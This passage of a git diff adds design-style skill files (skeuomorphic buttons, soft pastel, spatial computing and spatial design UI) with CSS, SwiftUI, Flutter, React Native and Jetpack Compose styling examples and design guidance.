gradients, and multiple box-shadows. +- **CSS Example**: +```css +.skeuo-button { + /* Brushed metal effect */ + background: linear-gradient(180deg, #e0e0e0 0%, #a0a0a0 100%), + url('brushed-metal-texture.png'); + background-blend-mode: overlay; + + border: 1px solid #7a7a7a; + border-radius: 50%; + width: 80px; + height: 80px; + + /* Bevel, inner highlight, and drop shadow */ + box-shadow: + inset 0 2px 4px rgba(255,255,255,0.8), /* Top highlight */ + inset 0 -2px 4px rgba(0,0,0,0.4), /* Bottom shading */ + 0 4px 6px rgba(0,0,0,0.5), /* Drop shadow */ + 0 1px 1px rgba(0,0,0,0.2); +} + +.skeuo-button:active { + /* Pressing the physical button */ + box-shadow: + inset 0 4px 8px rgba(0,0,0,0.6), + inset 0 -1px 2px rgba(255,255,255,0.4), + 0 1px 1px rgba(0,0,0,0.2); + transform: translateY(2px); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct SkeuoButton: View { + @State private var isPressed = false + + var body: some View { + Button(action: {}) { + Text("POWER") + .font(.system(size: 14, weight: .bold)) + .foregroundColor(.white) + .textCase(.uppercase) + } + .frame(width: 80, height: 80) + .background( + ZStack { + // Brushed metal base + Circle() + .fill( + LinearGradient( + colors: [Color(white: 0.88), Color(white: 0.63)], + startPoint: .top, + endPoint: .bottom + ) + ) + // Inner highlight (top bevel) + Circle() + .stroke( + LinearGradient( + colors: [.white.opacity(0.8), .clear], + startPoint: .top, + endPoint: .center + ), + lineWidth: 2 + ) + .padding(1) + } + ) + .clipShape(Circle()) + // Outer bezel ring + .overlay(Circle().stroke(Color(white: 0.5), lineWidth: 1)) + // Physical drop shadow + .shadow(color: .black.opacity(isPressed ? 0.2 : 0.5), radius: isPressed ? 2 : 6, + x: 0, y: isPressed ? 1 : 4) + .scaleEffect(isPressed ? 0.96 : 1.0) + .animation(.easeOut(duration: 0.1), value: isPressed) + .simultaneousGesture( + DragGesture(minimumDistance: 0) + .onChanged { _ in isPressed = true } + .onEnded { _ in isPressed = false } + ) + } +} +``` +- Stack multiple shapes (`Circle`, `RoundedRectangle`) with different gradients to build up realistic depth. +- Use `.overlay()` with stroked shapes for highlight bezels along the edges. +- The pressed state should reduce shadow AND scale — simulating a physical push. + +### Flutter +```dart +class SkeuoButton extends StatefulWidget { + @override + State createState() => _SkeuoButtonState(); +} + +class _SkeuoButtonState extends State { + bool _isPressed = false; + + @override + Widget build(BuildContext context) { + return GestureDetector( + onTapDown: (_) => setState(() => _isPressed = true), + onTapUp: (_) => setState(() => _isPressed = false), + onTapCancel: () => setState(() => _isPressed = false), + child: AnimatedContainer( + duration: const Duration(milliseconds: 100), + width: 80, + height: 80, + decoration: BoxDecoration( + shape: BoxShape.circle, + // Brushed metal gradient + gradient: LinearGradient( + colors: [Colors.grey[300]!, Colors.grey[600]!], + begin: Alignment.topCenter, + end: Alignment.bottomCenter, + ), + border: Border.all(color: Colors.grey[500]!, width: 1), + boxShadow: [ + // Outer drop shadow + BoxShadow( + color: Colors.black.withOpacity(_isPressed ? 0.2 : 0.5), + blurRadius: _isPressed ? 4 : 12, + offset: Offset(0, _isPressed ? 2 : 6), + ), + // Inner top highlight (faked with a light inset) + BoxShadow( + color: Colors.white.withOpacity(0.6), + blurRadius: 1, + offset: const Offset(0, -1), + spreadRadius: -1, + ), + ], + ), + transform: Matrix4.identity()..scale(_isPressed ? 0.96 : 1.0), + alignment: Alignment.center, + child: const Text('POWER', + style: TextStyle(color: Colors.white, fontWeight: FontWeight.bold, + fontSize: 14, shadows: [ + Shadow(color: Colors.black54, offset: Offset(0, 1), blurRadius: 2), + ])), + ), + ); + } +} +``` +- Use `AnimatedContainer` for smooth press transitions. Adjust `boxShadow`, `transform`, and gradient on tap. +- Layer `BoxShadow` entries: one for the outer drop shadow, one for the inner top-edge highlight. +- For complex textures (leather, wood), use `DecorationImage` with an asset file inside `BoxDecoration`. + +### React Native +```jsx +const SkeuoButton = () => { + const [pressed, setPressed] = useState(false); + + return ( + setPressed(true)} + onPressOut={() => setPressed(false)} + style={{ + width: 80, + height: 80, + borderRadius: 40, + alignItems: 'center', + justifyContent: 'center', + // Metal gradient must be done via an image or LinearGradient component + backgroundColor: '#A0A0A0', + borderWidth: 1, + borderColor: '#7A7A7A', + // Shadow changes on press + shadowColor: '#000', + shadowOffset: { width: 0, height: pressed ? 1 : 4 }, + shadowOpacity: pressed ? 0.2 : 0.5, + shadowRadius: pressed ? 2 : 6, + elevation: pressed ? 2 : 8, + transform: [{ scale: pressed ? 0.96 : 1 }], + }} + > + + POWER + + + ); +}; +``` +- For realistic textures, use `ImageBackground` with exported texture assets (leather.png, brushed-metal.png). +- Use `Pressable` with `onPressIn`/`onPressOut` to animate shadow depth, scale, and opacity changes. +- Complex gradient bevels require `react-native-linear-gradient` or `expo-linear-gradient`. + +### Jetpack Compose +```kotlin +@Composable +fun SkeuoButton() { + var isPressed by remember { mutableStateOf(false) } + val scale by animateFloatAsState(if (isPressed) 0.96f else 1f) + val elevation by animateDpAsState(if (isPressed) 2.dp else 8.dp) + + Box( + modifier = Modifier + .size(80.dp) + .graphicsLayer { scaleX = scale; scaleY = scale } + .shadow(elevation, CircleShape) + .clip(CircleShape) + .background( + Brush.verticalGradient( + colors = listOf(Color(0xFFE0E0E0), Color(0xFFA0A0A0)) + ) + ) + .border(1.dp, Color(0xFF7A7A7A), CircleShape) + .pointerInput(Unit) { + detectTapGestures( + onPress = { + isPressed = true + tryAwaitRelease() + isPressed = false + } + ) + }, + contentAlignment = Alignment.Center, + ) { + Text("POWER", + color = Color.White, + fontWeight = FontWeight.Bold, + fontSize = 14.sp, + style = TextStyle(shadow = Shadow( + color = Color.Black.copy(alpha = 0.5f), + offset = Offset(0f, 2f), + blurRadius = 4f, + ))) + } +} +``` +- Use `Brush.verticalGradient()` for metallic surfaces and `Modifier.border()` with `CircleShape` for bezels. +- Animate `shadow` elevation and `graphicsLayer { scaleX/scaleY }` on press for realistic physical push. +- For textures, use `Modifier.paint(painterResource(R.drawable.brushed_metal))` as a background. + +## Do's and Don'ts +- **DO**: Ensure the metaphor makes sense for the user's task. +- **DON'T**: Overuse it to the point of clutter. Keep the interactive elements highly realistic, but let the structural layout remain clean. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/soft-pastel/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/soft-pastel/SKILL.md new file mode 100644 index 00000000..c013f8b6 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/soft-pastel/SKILL.md @@ -0,0 +1,307 @@ +--- +name: soft-pastel +description: Web and App implementation guide for Soft Pastel Design. Trigger when user wants gentle colors, calming UI, baby/lifestyle branding, or low-contrast aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Soft Pastel Design + +> "Calm, airy, and gentle. A low-stress interface built on washed-out, cheerful hues." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Desaturated, High-Lightness Colors**: Every color is mixed with a heavy amount of white. +2. **Soft, Rounded Edges**: Border radii are large and friendly. +3. **Airy Spacing**: Generous whitespace prevents the soft colors from feeling muddy or crowded. + +## Visual DNA +- **Colors**: Mint green, baby blue, blush pink, lavender, and buttercream yellow. Use a warm, slightly off-white background (e.g., `#FFFBF7`) rather than clinical `#FFFFFF`. +- **Typography**: Soft, rounded sans-serifs (`Quicksand`, `Nunito`) or elegant, low-contrast serifs. Avoid aggressive, ultra-bold fonts. +- **Shadows**: Very soft, large-spread shadows, often tinted with the pastel color rather than black. + +## Web Implementation +- **CSS Example**: +```css +:root { + --pastel-bg: #FFFBF7; + --pastel-pink: #FFD1DC; + --pastel-blue: #AEC6CF; + --pastel-green: #B7E4C7; + --pastel-text: #4A4A4A; /* Soft dark grey, NOT pure black */ +} + +body { + background-color: var(--pastel-bg); + color: var(--pastel-text); + font-family: 'Nunito', sans-serif; + line-height: 1.6; +} + +.pastel-card { + background-color: #ffffff; + border-radius: 24px; + padding: 40px; + /* Tinted, very soft shadow */ + box-shadow: 0 20px 40px rgba(174, 198, 207, 0.15); +} + +.pastel-pill { + background-color: var(--pastel-pink); + color: #a05a6c; /* Darker version of the pink for contrast */ + border-radius: 50px; + padding: 8px 24px; + font-weight: 700; + display: inline-block; +} + +.pastel-btn { + background-color: var(--pastel-blue); + color: #2b5563; /* Darker text */ + border: none; + border-radius: 12px; + padding: 16px 32px; + transition: transform 0.2s; +} +.pastel-btn:hover { + transform: translateY(-2px); + box-shadow: 0 10px 20px rgba(174, 198, 207, 0.4); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct SoftPastelView: View { + // Pastel Palette + let bg = Color(hex: "FFFBF7") + let pink = Color(hex: "FFD1DC") + let blue = Color(hex: "AEC6CF") + let textDark = Color(hex: "4A4A4A") + + var body: some View { + ScrollView { + VStack(spacing: 32) { + // Pastel Card + VStack(alignment: .leading, spacing: 16) { + Text("Calm & Airy") + .font(.custom("Nunito-Bold", size: 28)) + .foregroundColor(textDark) + + Text("Generous whitespace and soft corners prevent the desaturated colors from feeling muddy.") + .font(.custom("Nunito-Regular", size: 16)) + .foregroundColor(textDark.opacity(0.8)) + .lineSpacing(6) + } + .padding(40) + .frame(maxWidth: .infinity, alignment: .leading) + .background(Color.white) + .cornerRadius(32) // Soft, large radius + // Tinted pastel shadow instead of black/gray + .shadow(color: blue.opacity(0.2), radius: 30, y: 15) + + // Pastel Button + Button(action: {}) { + Text("Gentle Action") + .font(.custom("Nunito-Bold", size: 18)) + .foregroundColor(Color(hex: "2B5563")) // Darker contrast of the blue + .frame(maxWidth: .infinity) + .padding(.vertical, 20) + .background(blue) + .cornerRadius(20) + } + } + .padding(24) + } + .background(bg.ignoresSafeArea()) + } +} +``` +- A custom font like Nunito or Quicksand is practically required. System fonts are often too rigid. +- The `shadow(color:)` must be tinted with one of your pastel palette colors, never black or gray. +- Corner radii should be very large (20-32). + +### Flutter +```dart +class SoftPastelScreen extends StatelessWidget { + final Color bg = const Color(0xFFFFFBF7); + final Color pink = const Color(0xFFFFD1DC); + final Color blue = const Color(0xFFAEC6CF); + final Color textDark = const Color(0xFF4A4A4A); + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: bg, + body: SingleChildScrollView( + padding: const EdgeInsets.all(24.0), + child: Column( + children: [ + // Pastel Card + Container( + width: double.infinity, + padding: const EdgeInsets.all(40), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(32), // Soft edges + boxShadow: [ + // Tinted shadow + BoxShadow(color: blue.withOpacity(0.2), blurRadius: 30, offset: const Offset(0, 15)) + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text('Calm & Airy', style: TextStyle(fontFamily: 'Nunito', fontSize: 28, fontWeight: FontWeight.bold, color: textDark)), + const SizedBox(height: 16), + Text('Generous whitespace and soft corners.', style: TextStyle(fontFamily: 'Nunito', fontSize: 16, height: 1.6, color: textDark.withOpacity(0.8))), + ], + ), + ), + const SizedBox(height: 32), + + // Pastel Button + ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + backgroundColor: blue, + foregroundColor: const Color(0xFF2B5563), // Darker text for contrast + minimumSize: const Size(double.infinity, 60), + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(20)), + elevation: 0, // Remove default harsh shadow + ), + child: const Text('Gentle Action', style: TextStyle(fontFamily: 'Nunito', fontSize: 18, fontWeight: FontWeight.bold)), + ), + ], + ), + ), + ); + } +} +``` +- Disable `elevation` on Flutter buttons and cards if you want to apply custom tinted drop shadows. Default elevations cast black shadows. + +### React Native +```jsx +const SoftPastelScreen = () => { + const colors = { + bg: '#FFFBF7', + blue: '#AEC6CF', + textDark: '#4A4A4A' + }; + + return ( + + + {/* Pastel Card */} + + + Calm & Airy + + + Generous whitespace and soft corners prevent the desaturated colors from feeling muddy. + + + + {/* Pastel Button */} + + + Gentle Action + + + + + ); +}; +``` +- Make sure you are using a soft, non-pure-white background (`#FFFBF7`) so that pure `#FFFFFF` cards pop nicely against it without harsh borders. +- Tinted shadows work on Android 9+ via `shadowColor` combined with `elevation`. + +### Jetpack Compose +```kotlin +@Composable +fun SoftPastelScreen() { + val bg = Color(0xFFFFFBF7) + val blue = Color(0xFFAEC6CF) + val textDark = Color(0xFF4A4A4A) + + Column( + modifier = Modifier.fillMaxSize().background(bg).verticalScroll(rememberScrollState()).padding(24.dp) + ) { + // Pastel Card + Box( + modifier = Modifier + .fillMaxWidth() + .shadow( + elevation = 20.dp, + shape = RoundedCornerShape(32.dp), + ambientColor = blue, // Tinted shadow + spotColor = blue + ) + .background(Color.White, RoundedCornerShape(32.dp)) + .padding(40.dp) + ) { + Column { + Text( + text = "Calm & Airy", + fontSize = 28.sp, + fontWeight = FontWeight.Bold, + color = textDark, + fontFamily = FontFamily.SansSerif // Replace with Nunito + ) + Spacer(Modifier.height(16.dp)) + Text( + text = "Generous whitespace and soft corners.", + fontSize = 16.sp, + lineHeight = 26.sp, + color = textDark.copy(alpha = 0.8f), + fontFamily = FontFamily.SansSerif + ) + } + } + + Spacer(Modifier.height(32.dp)) + + // Pastel Button + Button( + onClick = { }, + colors = ButtonDefaults.buttonColors(containerColor = blue, contentColor = Color(0xFF2B5563)), + shape = RoundedCornerShape(20.dp), + modifier = Modifier.fillMaxWidth().height(60.dp), + elevation = null + ) { + Text("Gentle Action", fontSize = 18.sp, fontWeight = FontWeight.Bold) + } + } +} +``` +- The `shadow` modifier in Compose takes `ambientColor` and `spotColor`. Set both to your pastel accent color to achieve the soft tinted glow. + +## Do's and Don'ts +- **DO**: Use illustrative assets that match the pastel vibe (flat vectors, soft gradients). +- **DON'T**: Use stark black borders, sharp corners, or high-saturation primary colors. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/spatial-computing-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/spatial-computing-ui/SKILL.md new file mode 100644 index 00000000..571ba96b --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/spatial-computing-ui/SKILL.md @@ -0,0 +1,300 @@ +--- +name: spatial-computing-ui +description: Web and App implementation guide for Spatial Computing UI. Trigger when user wants floating elements, environmental awareness, and Apple Vision Pro style. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Spatial Computing UI + +> "A step beyond Spatial Design. Fully 3D windows floating in augmented reality." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Z-Space Hierarchy**: Not just drop shadows, but actual 3D distance. Modals float 10px *in front of* the main window. +2. **Gaze-Based Interaction Cues**: Elements highlight vividly when hovered, anticipating eye-tracking or precise pointer control. +3. **Glass and Light**: Windows are thick sheets of frosted glass that bend light and cast soft shadows onto the physical environment. + +## Visual DNA +- **Colors**: Relies entirely on the background environment. Uses purely translucent whites (`rgba(255,255,255,0.x)`) and blacks. +- **Typography**: `SF Pro`. Heavy use of varied font weights (Regular, Semibold, Bold) to create hierarchy. +- **Shapes**: High border radii (`24px`-`32px`). Everything is a rounded rectangle or a perfect circle. + +## Web Implementation +- Best emulated using CSS 3D transforms to simulate the user's perspective. +- **CSS Example**: +```css +body { + /* Simulate the physical room */ + background: url('living-room.jpg') center/cover; + perspective: 1200px; + display: flex; + justify-content: center; + align-items: center; + height: 100vh; +} + +.spatial-window { + width: 800px; + height: 600px; + border-radius: 32px; + + /* The Glass Material */ + background: rgba(255, 255, 255, 0.15); + backdrop-filter: blur(50px) saturate(200%); + -webkit-backdrop-filter: blur(50px) saturate(200%); + + /* Specular Highlights */ + border: 1px solid rgba(255, 255, 255, 0.4); + box-shadow: + inset 0 1px 2px rgba(255, 255, 255, 0.8), + 0 30px 60px rgba(0, 0, 0, 0.3); + + /* 3D Positioning */ + transform: translateZ(-100px); + transform-style: preserve-3d; +} + +.spatial-modal { + /* Floating in front of the main window */ + position: absolute; + top: 50%; left: 50%; + transform: translate(-50%, -50%) translateZ(50px); + + background: rgba(255, 255, 255, 0.6); /* More opaque */ + backdrop-filter: blur(30px); + border-radius: 24px; + padding: 30px; + box-shadow: 0 20px 40px rgba(0, 0, 0, 0.2); +} + +.spatial-btn { + /* Gaze/Hover interaction */ + background: rgba(0,0,0,0.05); + transition: all 0.2s cubic-bezier(0.2, 0.8, 0.2, 1); +} +.spatial-btn:hover { + background: rgba(255,255,255,0.4); + transform: translateZ(10px) scale(1.05); + box-shadow: 0 10px 20px rgba(0,0,0,0.1); +} +``` + +## App Implementation + +### SwiftUI (visionOS Native / iOS emulation) +```swift +struct SpatialComputingView: View { + var body: some View { + ZStack { + // Simulated room environment + Image("living-room") + .resizable() + .aspectRatio(contentMode: .fill) + .ignoresSafeArea() + + // Spatial Window + VStack(spacing: 24) { + Text("Spatial Window") + .font(.title).fontWeight(.bold) + .foregroundColor(.white) + + // Gaze-reactive button + Button(action: {}) { + Text("Focus Me") + .fontWeight(.semibold) + .foregroundColor(.white) + .padding(.horizontal, 32) + .padding(.vertical, 16) + // .hoverEffect() is magic on visionOS/iPadOS + // .hoverEffect(.highlight) + } + .background(Color.black.opacity(0.2)) + .clipShape(Capsule()) + } + .padding(60) + // The magic glass material + .background(.ultraThinMaterial) + .cornerRadius(32) + // Specular edge highlight + .overlay( + RoundedRectangle(cornerRadius: 32) + .stroke(Color.white.opacity(0.4), lineWidth: 1) + ) + // Environmental shadow + .shadow(color: .black.opacity(0.3), radius: 40, y: 30) + + // Z-Space Modal simulation (if on iOS) + // On visionOS, this would be a separate window volume + Text("Floating Modal") + .foregroundColor(.white) + .padding(30) + .background(.thinMaterial) + .cornerRadius(24) + .shadow(color: .black.opacity(0.4), radius: 30, y: 20) + .offset(x: 100, y: 100) + } + } +} +``` +- Use `.ultraThinMaterial` for the base windows and `.thinMaterial` for floating popovers so they feel more opaque as they get closer to the eye. +- Use `.hoverEffect()` extensively if targeting iPadOS or visionOS. + +### Flutter +```dart +import 'dart:ui'; + +class SpatialComputingScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: Stack( + fit: StackFit.expand, + children: [ + // Simulated Environment + Image.asset('assets/living-room.jpg', fit: BoxFit.cover), + + Center( + child: ClipRRect( + borderRadius: BorderRadius.circular(32), + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 40.0, sigmaY: 40.0), // Heavy blur + child: Container( + width: 600, height: 400, + decoration: BoxDecoration( + color: Colors.white.withOpacity(0.15), // Glass tint + borderRadius: BorderRadius.circular(32), + border: Border.all(color: Colors.white.withOpacity(0.4), width: 1), // Specular highlight + // Note: BoxShadow won't render under BackdropFilter nicely unless wrapped in a separate PhysicalModel + ), + child: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + const Text('Spatial Window', style: TextStyle(color: Colors.white, fontSize: 32, fontWeight: FontWeight.bold)), + const SizedBox(height: 32), + // Simulated Gaze Button + InkWell( + onTap: () {}, + borderRadius: BorderRadius.circular(50), + hoverColor: Colors.white.withOpacity(0.4), // Reacts to mouse/gaze + child: Container( + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + decoration: BoxDecoration(color: Colors.black.withOpacity(0.2), borderRadius: BorderRadius.circular(50)), + child: const Text('Focus Me', style: TextStyle(color: Colors.white, fontSize: 18)), + ), + ) + ], + ), + ), + ), + ), + ), + ), + ], + ), + ); + } +} +``` +- You must wrap `BackdropFilter` inside a `ClipRRect` to give the blurred glass rounded corners. +- `hoverColor` on `InkWell` simulates the gaze-highlighting. + +### React Native +```jsx +// REQUIRES: @react-native-community/blur +import { BlurView } from '@react-native-community/blur'; + +const SpatialComputingScreen = () => { + return ( + + + {/* Spatial Window */} + + + + Spatial Window + + + {/* Touchable simulating Gaze */} + + Focus Me + + + + + + ); +}; +``` +- React Native's core cannot do background blur. You *must* install `@react-native-community/blur`. +- Apply shadows to a wrapper `View`, and put the `BlurView` inside it with `borderRadius` and `borderWidth`. + +### Jetpack Compose +```kotlin +@Composable +fun SpatialComputingScreen() { + Box(modifier = Modifier.fillMaxSize()) { + // Environment + Image(painterResource(R.drawable.living_room), contentDescription = null, contentScale = ContentScale.Crop, modifier = Modifier.fillMaxSize()) + + // Spatial Window + Box( + modifier = Modifier + .align(Alignment.Center) + .size(600.dp, 400.dp) + // Note: Native Android background blur requires Android 12+ (RenderEffect) + .graphicsLayer { + renderEffect = RenderEffect.createBlurEffect(40f, 40f, Shader.TileMode.DECAL).asComposeRenderEffect() + clip = true + shape = RoundedCornerShape(32.dp) + } + .background(Color.White.copy(alpha = 0.15f)) + .border(1.dp, Color.White.copy(alpha = 0.4f), RoundedCornerShape(32.dp)) + .padding(40.dp), + contentAlignment = Alignment.Center + ) { + Column(horizontalAlignment = Alignment.CenterHorizontally) { + Text("Spatial Window", color = Color.White, fontSize = 32.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(32.dp)) + + // Button + Box( + modifier = Modifier + .background(Color.Black.copy(alpha = 0.2f), CircleShape) + .clickable { } + .padding(horizontal = 32.dp, vertical = 16.dp) + ) { + Text("Focus Me", color = Color.White, fontSize = 18.sp, fontWeight = FontWeight.SemiBold) + } + } + } + } +} +``` +- On Android 12+, use `RenderEffect.createBlurEffect` applied to the `graphicsLayer` to blur the UI *behind* the compose element. +- The `border` modifier applies the bright specular rim-light crucial to glass effects. + +## Do's and Don'ts +- **DO**: Create a distinct visual pop (size increase and shadow depth increase) on hover/focus to simulate the gaze-tracking interaction of Spatial Computing. +- **DON'T**: Use flat, opaque colors for the main windows. They must be glass. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/spatial-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/spatial-design/SKILL.md new file mode 100644 index 00000000..a7709de4 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/spatial-design/SKILL.md @@ -0,0 +1,268 @@ +--- +name: spatial-design +description: Web and App implementation guide for Spatial Design. Trigger when user wants environment-aware layouts, Apple Vision Pro inspiration, and mixed reality aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Spatial Design + +> "UI that belongs in the room with you. Transparent, glass-like panels that react to the lighting of the physical space." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Environmental Transparency**: The UI acts like a glass pane. It is deeply reliant on background blur, but specifically aims to let the environment (or a simulated environment image) dictate the mood. +2. **Dynamic Lighting**: Elements respond to cursor position as if a flashlight is shining on them. +3. **Subtle Volume**: Not flat, but not extremely 3D. Elements have a very thin rim of light around the edge (specular highlight). + +## Visual DNA +- **Colors**: Almost exclusively uses `rgba()` white or black. The actual color comes entirely from the background environment. +- **Typography**: Extremely sharp, high legibility. Often uses varying font weights to establish hierarchy without relying on color. Apple's `SF Pro` is the gold standard here. +- **Icons**: Outlined, high-legibility glyphs. + +## Web Implementation +- **CSS Example**: +```css +body { + /* Needs a complex background to look right */ + background: url('room-environment.jpg') cover; +} + +.spatial-panel { + /* The core material */ + background: rgba(255, 255, 255, 0.2); /* Very sheer */ + backdrop-filter: blur(40px) saturate(150%); + -webkit-backdrop-filter: blur(40px) saturate(150%); + + border-radius: 32px; + padding: 40px; + + /* The specular rim light */ + box-shadow: + inset 0 1px 1px rgba(255,255,255,0.6), + inset 0 0 1px 1px rgba(255,255,255,0.2), + 0 24px 48px rgba(0,0,0,0.1); +} + +.spatial-btn { + background: rgba(0,0,0,0.1); + color: white; + border-radius: 20px; + padding: 12px 24px; + backdrop-filter: blur(10px); + transition: all 0.2s; +} + +.spatial-btn:hover { + background: rgba(255,255,255,0.2); + /* Highlight effect */ + box-shadow: inset 0 0 20px rgba(255,255,255,0.4); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct SpatialDesignView: View { + var body: some View { + ZStack { + // Environment background + Image("room-environment") + .resizable() + .aspectRatio(contentMode: .fill) + .ignoresSafeArea() + + // Spatial Panel + VStack(spacing: 24) { + Text("Environmental UI") + .font(.title).fontWeight(.bold) + .foregroundColor(.white) + + Button(action: {}) { + Text("Interact") + .foregroundColor(.white) + .padding(.horizontal, 32) + .padding(.vertical, 16) + } + .background(.ultraThinMaterial) + .clipShape(Capsule()) + .overlay(Capsule().stroke(Color.white.opacity(0.3), lineWidth: 1)) + } + .padding(40) + .background(.ultraThinMaterial) // The core spatial material + .cornerRadius(32) + // Specular rim light + .overlay( + RoundedRectangle(cornerRadius: 32) + .stroke( + LinearGradient( + colors: [.white.opacity(0.6), .white.opacity(0.1)], + startPoint: .topLeading, endPoint: .bottomTrailing + ), + lineWidth: 1 + ) + ) + // Very soft, diffuse shadow + .shadow(color: .black.opacity(0.1), radius: 40, y: 20) + } + } +} +``` +- `.background(.ultraThinMaterial)` is exactly what Apple uses for this aesthetic. +- The specular highlight is critical. Use an `.overlay` with a `LinearGradient` stroke to simulate a light source hitting the top-left edge of the glass. + +### Flutter +```dart +import 'dart:ui'; + +class SpatialDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: Stack( + fit: StackFit.expand, + children: [ + Image.asset('assets/room-environment.jpg', fit: BoxFit.cover), + + Center( + child: ClipRRect( + borderRadius: BorderRadius.circular(32), + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 30.0, sigmaY: 30.0), + child: Container( + width: 350, + padding: const EdgeInsets.all(40), + decoration: BoxDecoration( + color: Colors.white.withOpacity(0.1), + borderRadius: BorderRadius.circular(32), + // Specular rim light + border: Border.all(color: Colors.white.withOpacity(0.4), width: 1), + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + const Text('Environmental UI', style: TextStyle(color: Colors.white, fontSize: 28, fontWeight: FontWeight.bold)), + const SizedBox(height: 32), + + // Spatial Button + ClipRRect( + borderRadius: BorderRadius.circular(50), + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 10.0, sigmaY: 10.0), + child: Container( + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + decoration: BoxDecoration( + color: Colors.black.withOpacity(0.1), + border: Border.all(color: Colors.white.withOpacity(0.2)), + borderRadius: BorderRadius.circular(50), + ), + child: const Text('Interact', style: TextStyle(color: Colors.white)), + ), + ), + ) + ], + ), + ), + ), + ), + ), + ], + ), + ); + } +} +``` +- `BackdropFilter` is required to blur the background. +- Notice the button *inside* the panel also has a `BackdropFilter`. This creates nested glass, which is a hallmark of Spatial Design. + +### React Native +```jsx +// REQUIRES: @react-native-community/blur +import { BlurView } from '@react-native-community/blur'; + +const SpatialDesignScreen = () => { + return ( + + + + + + Environmental UI + + + + + Interact + + + + + + + ); +}; +``` +- `BlurView` from `@react-native-community/blur` is the only way to achieve this. +- Use `blurType="light"` for the main panel and `blurType="dark"` for the buttons to create contrast between the glass layers. + +### Jetpack Compose +```kotlin +@Composable +fun SpatialDesignScreen() { + Box(modifier = Modifier.fillMaxSize()) { + Image(painterResource(R.drawable.room_environment), null, contentScale = ContentScale.Crop, modifier = Modifier.fillMaxSize()) + + Box( + modifier = Modifier + .align(Alignment.Center) + .width(350.dp) + // Shadow goes on the outside + .shadow(20.dp, RoundedCornerShape(32.dp), spotColor = Color.Black.copy(alpha = 0.1f)) + // Android 12+ Blur + .graphicsLayer { + renderEffect = RenderEffect.createBlurEffect(30f, 30f, Shader.TileMode.DECAL).asComposeRenderEffect() + clip = true + shape = RoundedCornerShape(32.dp) + } + .background(Color.White.copy(alpha = 0.1f)) + .border(1.dp, Brush.linearGradient(listOf(Color.White.copy(alpha = 0.6f), Color.Transparent)), RoundedCornerShape(32.dp)) + .padding(40.dp), + contentAlignment = Alignment.Center + ) { + Column(horizontalAlignment = Alignment.CenterHorizontally) { + Text("Environmental UI", color = Color.White, fontSize = 28.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(32.dp)) + + // Button + Box( + modifier = Modifier + .background(Color.Black.copy(alpha = 0.1f), CircleShape) + .border(1.dp, Color.White.copy(alpha = 0.2f), CircleShape) + .padding(horizontal = 32.dp, vertical = 16.dp) + ) { + Text("Interact", color = Color.White) + } + } + } + } +} +``` +- The `Brush.linearGradient` applied to the `Modifier.border` perfectly simulates the top-down rim light hitting a thick pane of glass. + +## Do's and Don'ts +- **DO**: Crank up the `saturate()` filter on the backdrop blur to make the background colors pop through the glass. +- **DON'T**: Use dark, opaque drop shadows. The UI should look like glass, which doesn't cast harsh shadows. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/swiss-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/swiss-design/SKILL.md new file mode 100644 index 00000000..1bf52d68 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/swiss-design/SKILL.md @@ -0,0 +1,293 @@ +--- +name: swiss-design +description: Web and App implementation guide for Swiss Design (International Typographic Style). 